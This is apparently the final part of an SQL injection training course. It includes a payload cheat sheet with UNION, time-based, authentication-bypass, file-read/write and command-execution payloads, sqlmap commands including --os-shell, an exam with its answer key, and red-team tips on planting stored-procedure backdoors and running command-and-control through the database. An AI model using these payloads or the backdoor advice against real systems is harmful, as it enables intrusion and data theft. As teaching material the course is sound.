  • SQL injection UNION attack, finding a column containing text ==> PRACTITIONER
  • SQL injection UNION attack, retrieving data from other tables ==> PRACTITIONER
  • SQL injection UNION attack, retrieving multiple values in a single column ==> PRACTITIONER
  • Blind SQL injection with conditional responses ==> PRACTITIONER
  • Blind SQL injection with conditional errors ==> PRACTITIONER
  • Blind SQL injection with time delays ==> PRACTITIONER
  • Blind SQL injection with time delays and information retrieval ==> PRACTITIONER
  • Blind SQL injection with out-of-band interaction ==> PRACTITIONER
  • Blind SQL injection with out-of-band data exfiltration ==> PRACTITIONER
  • SQL injection with filter bypass via XML encoding ==> PRACTITIONER
  • Visible error-based SQL injection ==> PRACTITIONER
  • SQL injection attack, listing the database contents on Oracle ==> PRACTITIONER
  • SQL injection in different contexts ==> EXPERT
  • Lab: SQL injection with truncated output ==> EXPERT

Full list at https://portswigger.net/web-security/all-labs#sql-injection

SECTION 20. Cheat Sheet

text
┌──────────────────────────────────────────────────────────────────────┐
│                  SQL INJECTION CHEAT SHEET                           │
├──────────────────────────────────────────────────────────────────────┤
│                                                                      │
│  DETECTION                                                           │
│  ==> Single quote: '         (look for syntax error)                 │
│  ==> Two quotes: ''           (balanced, should look normal)         │
│  ==> Boolean: ' AND '1'='1   vs  ' AND '1'='2                        │
│  ==> Time: ' AND SLEEP(5)-- -                                        │
│  ==> Numeric: 1 AND 1=1     vs   1 AND 1=2                           │
│                                                                      │
│  COMMENTS                                                            │
│  ==> MySQL:   -- (space) or #                                        │
│  ==> Oracle:  --                                                     │
│  ==> MSSQL:   --                                                     │
│  ==> Postgres: --                                                    │
│  ==> SQLite:  --                                                     │
│  ==> Multiline: /* ... */                                            │
│                                                                      │
│  COLUMN COUNT                                                        │
│  ==> ' ORDER BY 1-- ' ... increase until error                       │
│  ==> ' UNION SELECT NULL-- ' ... add NULLs until OK                  │
│                                                                      │
│  FINGERPRINT                                                         │
│  ==> @@version           ==> MySQL / MSSQL                           │
│  ==> version()           ==> MySQL / PostgreSQL                      │
│  ==> banner FROM v$version ==> Oracle                                │
│  ==> sqlite_version()    ==> SQLite                                  │
│                                                                      │
│  ENUMERATION                                                         │
│  ==> SELECT table_name FROM information_schema.tables                │
│  ==> SELECT column_name FROM information_schema.columns              │
│      WHERE table_name='users'                                        │
│  ==> Oracle: SELECT table_name FROM all_tables                       │
│  ==> SQLite: SELECT name FROM sqlite_master WHERE type='table'       │
│                                                                      │
│  ERROR-BASED (MySQL)                                                 │
│  ==> AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT @@version)))             │
│  ==> AND UPDATEXML(1,CONCAT(0x7e,(SELECT password FROM users)),1)    │
│                                                                      │
│  TIME-BASED                                                          │
│  ==> MySQL:    AND SLEEP(5)                                          │
│  ==> Postgres: AND PG_SLEEP(5)                                       │
│  ==> MSSQL:    ; WAITFOR DELAY '0:0:5'                               │
│  ==> Oracle:   AND DBMS_PIPE.RECEIVE_MESSAGE('a',5)=1                │
│                                                                      │
│  AUTH BYPASS                                                         │
│  ==> admin'--                                                        │
│  ==> ' OR 1=1--                                                      │
│  ==> ') OR ('1'='1                                                   │
│                                                                      │
│  UNION                                                               │
│  ==> ' UNION SELECT username,password FROM users-- -                 │
│  ==> ' UNION SELECT CONCAT(u,0x3a,p) FROM users-- -                  │
│                                                                      │
│  FILE / RCE                                                          │
│  ==> MySQL FILE:    SELECT LOAD_FILE('/etc/passwd')                  │
│  ==> MySQL WRITE:   SELECT '<?php ?>' INTO OUTFILE '/var/www/x.php'  │
│  ==> MSSQL:         EXEC xp_cmdshell 'whoami'                        │
│  ==> Postgres:      COPY (SELECT '') TO PROGRAM 'cmd'                │
│                                                                      │
│  WAF BYPASS                                                          │
│  ==> SE/**/LECT * FROM/**/users                                      │
│  ==> SeLeCt * FrOm UsErS                                             │
│  ==> CHAR(0x61,0x64,0x6D,0x69,0x6E) for 'admin'                      │
│  ==> 0x61646D696E for 'admin'                                        │
│  ==> %09 / %0A / %0B / + / /**/ instead of space                     │
│                                                                      │
│  SQLMAP                                                              │
│  ==> sqlmap -u "URL" --batch --dbs                                   │
│  ==> sqlmap -r req.txt --batch --dump                                │
│  ==> sqlmap -u "URL" --batch --os-shell                              │
│  ==> sqlmap -u "URL" --tamper=space2comment,randomcase --level=5     │
│                                                                      │
│  PREVENTION                                                          │
│  ==> Parameterized queries (?  or  :name placeholders)               │
│  ==> Never concatenate user input into SQL strings                   │
│  ==> Allowlist identifiers (table/column names)                      │
│  ==> Least privilege DB account                                      │
│  ==> No DB errors returned in HTTP responses                         │
│  ==> WAF as last line of defense, never the first                    │
│                                                                      │
└──────────────────────────────────────────────────────────────────────┘

SECTION 21. Exam

30 multiple-choice questions. The platform picks 20 at random. Scoring: 0-13 fail, 14-15 retry, 16-20 pass.

Q1. What is the root cause of SQL injection? A. Slow database performance. B. User input is concatenated into a SQL query string instead of being passed as a parameter. C. Missing TLS encryption on the database connection. D. Outdated database server version. Answer: B.

Q2. Which character is the classic probe for SQL injection? A. `&` B. `'` (single quote) C. `?` D. `#` Answer: B.

Q3. What does the payload `' OR '1'='1` do in a login query? A. It hashes the password. B. It makes the WHERE clause always true so the query returns a user row. C. It encrypts the SQL statement. D. It tells the database to ignore the query. Answer: B.

Q4. Which OWASP Top 10 category covers SQL injection? A. A01:2021 Broken Access Control. B. A03:2021 Injection. C. A07:2021 Identification and Authentication Failures. D. A09:2021 Security Logging and Monitoring Failures. Answer: B.

Q5. Which CWE number is most closely associated with SQL injection? A. CWE-79. B. CWE-22. C. CWE-89. D. CWE-352. Answer: C.

Q6. What does UNION SELECT do in a SQLi attack? A. Combines the original query result with a new attacker-chosen query result. B. Deletes the database. C. Encrypts the password column. D. Renames the database tables. Answer: A.

Q7. How do you find the number of columns in the original SELECT for a UNION attack? A. Try `SELECT count(*)`. B. Use `ORDER BY N` with increasing N until you get an error. C. Drop the table and recreate it. D. Read the database's source code. Answer: B.

Q8. Which payload would tell you if the database is MySQL? A. `SELECT version()` or `SELECT @@version`. B. `SELECT * FROM sys.indexes`. C. `SELECT name FROM v$tablespace`. D. `SELECT * FROM dba_users`. Answer: A.

Q9. What is blind SQL injection? A. SQL injection where the attacker cannot see the data directly and must infer it from response differences or timing. B. SQL injection that only works on databases without indexes. C. SQL injection performed from the command line. D. SQL injection in JavaScript code. Answer: A.

Q10. Which function would you use to delay a MySQL response by 5 seconds in a time-based blind attack? A. `WAIT(5)`. B. `DELAY(5)`. C. `SLEEP(5)`. D. `PAUSE(5)`. Answer: C.

Q11. The equivalent of `SLEEP(5)` for PostgreSQL is: A. `WAITFOR DELAY '0:0:5'`. B. `PG_SLEEP(5)`. C. `DBMS_LOCK.SLEEP(5)`. D. `SELECT * FROM pg_wait`. Answer: B.

Q12. The equivalent of `SLEEP(5)` for Microsoft SQL Server is: A. `WAITFOR DELAY '0:0:5'`. B. `PG_SLEEP(5)`. C. `BENCHMARK(5)`. D. `SLEEP(5)`. Answer: A.

Q13. Which of the following is a proper parameterized query in Python? A. `cur.execute("SELECT * FROM users WHERE id = " + str(uid))`. B. `cur.execute(f"SELECT * FROM users WHERE id = {uid}")`. C. `cur.execute("SELECT * FROM users WHERE id = %s", (uid,))`. D. `cur.execute("SELECT * FROM users WHERE id = " % uid)`. Answer: C.

Q14. Which of these table names contains the database catalog in MySQL and PostgreSQL? A. `system.tables`. B. `master.tables`. C. `information_schema.tables`. D. `sys.objects`. Answer: C.

Q15. What is the purpose of the `--` (double dash) in SQL injection payloads? A. To increment a column value. B. To start a SQL line comment, which makes the database ignore the rest of the query. C. To divide two numbers. D. To trigger a stored procedure. Answer: B.

Q16. What is "second-order" SQL injection? A. SQLi where the payload is stored at one input and triggered later when a different (vulnerable) query reads that stored value. B. SQLi that requires two attackers working together. C. SQLi that only works on databases with two columns. D. SQLi performed twice in a row. Answer: A.

Q17. Why is `mysql_real_escape_string()` not a complete protection against SQL injection? A. It only protects against XSS. B. It does not protect numeric (unquoted) injection points and has multibyte edge cases. C. It is a deprecated language feature. D. It costs money to use. Answer: B.

Q18. Which is a recommended way to handle dynamic table or column names that you cannot parameterize? A. Concatenate the user input directly. B. Hash the input with SHA-256. C. Compare against a server-side allowlist of valid identifiers. D. URL-encode the input. Answer: C.

Q19. Which of these is an out-of-band (OOB) SQLi technique? A. Use UNION to read into the HTML page. B. Force the database to make a DNS or HTTP request to an attacker-controlled host. C. Run the SQL twice. D. Encode the payload in base64. Answer: B.

Q20. Which MySQL function can be used for OOB exfiltration on Windows using SMB? A. `LOAD_FILE`. B. `SLEEP`. C. `BENCHMARK`. D. `EXPORT_SET`. Answer: A.

Q21. Which payload bypasses a WAF that blocks the keyword "UNION"? A. `UN//ION SE//LECT`. B. `SELECT DROP`. C. `SELECT *`. D. `;exit`. Answer: A.

Q22. Which sqlmap flag dumps the contents of a specific table? A. `--current-db`. B. `--dump`. C. `--tamper`. D. `--proxy`. Answer: B.

Q23. What does `--tamper=space2comment` do in sqlmap? A. Replaces every space in payloads with `/**/` to evade space-blocking filters. B. Converts SQL to NoSQL. C. Removes comments from the payload. D. Disables tampering. Answer: A.

Q24. Which SQL Server stored procedure allows arbitrary command execution? A. `sp_addrole`. B. `xp_cmdshell`. C. `sp_who2`. D. `sp_help`. Answer: B.

Q25. Which PostgreSQL feature allows arbitrary command execution if the DB user has permission? A. `COPY ... TO PROGRAM`. B. `EXPLAIN`. C. `LOCK TABLE`. D. `ANALYZE`. Answer: A.

Q26. What is the safer alternative to MySQL `mysqli_query` with string concatenation? A. Use `mysqli_prepare` with placeholders. B. Disable MySQL. C. Convert all queries to NoSQL. D. URL-encode the query. Answer: A.

Q27. In Java, which class produces a parameterized query? A. `Statement`. B. `PreparedStatement`. C. `ResultSet`. D. `Connection`. Answer: B.

Q28. Why does an ORM not automatically prevent all SQL injection? A. ORMs do not protect against XSS. B. ORMs have escape hatches such as `raw()`, `extra()`, and string-built `where` clauses that can be misused. C. ORMs are slower. D. ORMs only work in PHP. Answer: B.

Q29. Which of the following is a real critical SQL injection CVE from 2026? A. CVE-2026-9082 (Drupal core, PostgreSQL EntityQuery). B. CVE-2007-12345. C. CVE-1999-0517. D. CVE-2020-XSS. Answer: A.

Q30. Which is the best first detection payload for an unknown numeric URL parameter? A. `1' OR '1'='1`. B. ` AND 1=1` and ` AND 1=2` (compare the two responses). C. `<script>alert(1)</script>`. D. `../../../etc/passwd`. Answer: B.

SECTION 22. Certificate Requirements

  • Complete every lesson in this course (Sections 1-24).
  • Complete at least 5 practical labs from Section 19 (when available) or 5 PortSwigger SQL injection labs.
  • Pass the final exam with a score of at least 16/20.

The ANAS EDUCATION certificate for "SQL Injection Specialist" is awarded once all three conditions are met.

SECTION 23. Important Notes

Common beginner mistakes

  • Sending only the `'` payload and giving up when no error shows. Always follow up with the boolean pair (`AND 1=1` / `AND 1=2`) and a timing test.
  • Forgetting URL encoding when sending payloads through the URL. A `#` in your payload becomes a fragment, not part of the query. Use `--+` or `--%20-`.
  • Trying UNION with the wrong number of columns and assuming no SQLi exists. The page might just be hiding the error.
  • Believing that "the input is a UUID, so SQLi is impossible". UUIDs are strings, and strings get concatenated.
  • Confusing a database error in the response with a successful exploit. The error proves the input is in a query. You still have to extract data.

Pentester tips

  • Always test every parameter, not just the obvious ones. Headers, cookies, multipart fields, JSON keys, XML attributes are common SQLi homes.
  • Run sqlmap last, not first. Manual confirmation teaches you how the bug behaves and gives you the context sqlmap needs.
  • Save your Burp request to a file and use `sqlmap -r request.txt`. It captures every header, cookie, and form field that the application expects.
  • Use `--proxy=http://127.0.0.1:8080` to push sqlmap traffic through Burp for observation.
  • Try `--level=5 --risk=3` on a target you control before assuming sqlmap "did not find anything" at default levels.

Bug bounty tips

  • Read the program scope carefully. Many programs explicitly forbid sqlmap because it generates too much traffic. Use manual confirmation and switch to sqlmap only with permission.
  • The first SQLi report for a target is often the largest payout. Hunt parameters that look "boring": admin-only filters, internal-looking endpoints, partner APIs.
  • Reproduce your finding three times in three sessions before reporting. Time-based blind has false positives from network jitter.
  • Document the proof of concept clearly with screenshots and step-by-step requests. A clean writeup gets paid faster.
  • Never dump the production database in a bug bounty. Extract one row of the version banner, the current user, and stop.

Red team notes

  • Internal SQLi is often easier than external. Internal apps have lower test coverage.
  • Combine SQLi with credential reuse. Cracked password hashes often unlock VPNs, jump boxes, and admin consoles.
  • Plant a back door in a stored procedure. It survives most patching cycles.
  • Use the database's outbound network access for command-and-control if the web tier is heavily monitored but the DB tier is not.

Real-world advice

  • SQLi has been "dead" for twenty years and is still alive. New frameworks introduce new escape hatches. New developers write the same old bugs.
  • Code reviews catch more SQLi than scanners. Train your team to spot string concatenation in any language.
  • Static analysis (Semgrep, CodeQL) covers about 80% of the obvious cases. The remaining 20% is where the bug bounties are.
  • Database error messages in production are a vulnerability all by themselves. Strip them.

Things to remember during exams

  • Read the question carefully. "Which is the safer pattern" and "Which is the vulnerable pattern" are easy to confuse under time pressure.
  • When asked for the right defense, the answer is almost always "parameterized queries" or "prepared statements". Concatenation is never the right answer.
  • When asked about a payload, picture the resulting SQL string in your head.
  • CWE-89 is SQL injection. CWE-79 is XSS. CWE-22 is path traversal. Memorize these four-digit numbers.

Things to remember during real assessments

  • Have authorization in writing before testing.
  • Do not send destructive payloads (`DROP TABLE`, `DELETE`). Use `SELECT` and `SLEEP` only.
  • Capture all your traffic for the customer's records.
  • Notify the customer immediately if you find a critical SQLi in a production system.

Frequently confused concepts

  • SQLi vs ORM Injection: SQLi targets raw SQL strings; ORM injection targets the way the ORM builds queries (e.g., dynamic `find` patterns). The fix differs.
  • In-band vs out-of-band: In-band means the result of your injection is visible in the response. OOB means the result is delivered via a side channel like DNS.
  • Error-based vs blind: Error-based makes the database speak through error messages. Blind means there is no error and no visible result, only timing or boolean differences.
  • Stacked queries vs UNION: Stacked queries (`;` separates statements) require driver support. UNION fits a new SELECT inside the existing one and works in most drivers.
  • Prepared statement vs stored procedure: A prepared statement separates query text from values. A stored procedure is a named, pre-defined database routine. A stored procedure that internally concatenates is still vulnerable.

Interview tips

  • Be ready to explain why `mysql_real_escape_string` is not a complete solution.
  • Be ready to write a vulnerable PHP, Python, Java, or Node snippet and then rewrite it safely.
  • Know the OWASP Top 10 category and the CWE number by heart.
  • Have a one-sentence answer to "what is SQL injection in plain language?": "It is when user input is glued into a SQL query as text, instead of being passed as a parameter."

Key takeaways

  • The bug is in the *concatenation*, not in the input.
  • Parameterized queries are the only complete fix.
  • Every input is a SQLi candidate until proven safe.
  • Test in this order: single quote, two quotes, boolean pair, time delay, UNION, blind exfil.
  • sqlmap is your friend, but it does not replace understanding.

SECTION 24. Final Word from Your Instructor

SQL Injection is the vulnerability that turns a database into a confessional.

Every time a developer writes:

python
query = "SELECT * FROM products WHERE name = '" + user_input + "'"

a new SQL injection is born somewhere in the world. The mistake is twenty-eight years old. The fix is also twenty-eight years old. The gap between them is what funds the bug bounty industry.

Your job from now on is to look at any input field and ask one question: "Does this value flow into a SQL query?"

When you see a search box, ask: "What does the server do with my search term?"

When you see a login form, ask: "Are the username and password compared against a concatenated string?"

When you see a filter or sort dropdown, ask: "Is the selected column name placed directly into the query?"

When you see a URL like `/product?id=5`, ask: "Is that `5` placed into a `WHERE id =` clause?"

If the answer is "yes, without parameterization", you have found a bug that is worth somewhere between four figures and six figures, depending on how big the database is and how badly the company wants it dumped.

The in-band UNION technique is the clearest demonstration. Memorize it.

The blind boolean technique is the most reliable when output is hidden. Memorize it.

The time-based technique is the last resort when even the boolean is hidden. Memorize it.

The sqlmap automation is your time-saver for complex schemas. Memorize the flags.

The error messages of the major databases (MySQL, PostgreSQL, SQL Server, Oracle, SQLite) are your fingerprint chart. Memorize the look of each.

The information_schema is your map. Memorize the table and column names.

The prepared statement is your fix. Memorize the syntax in your language of choice.

You are now equipped with the same knowledge that powers the top SQLi reports on HackerOne. The companies that pay $25,000 for a SQLi report are paying for somebody who can write a clean PoC, identify the database, count the columns, dump one row, and stop. That is a skill, not a tool. Tools execute what you already understand. They cannot understand for you.

Welcome to the world where a single quote changes everything.

  • Go hunt.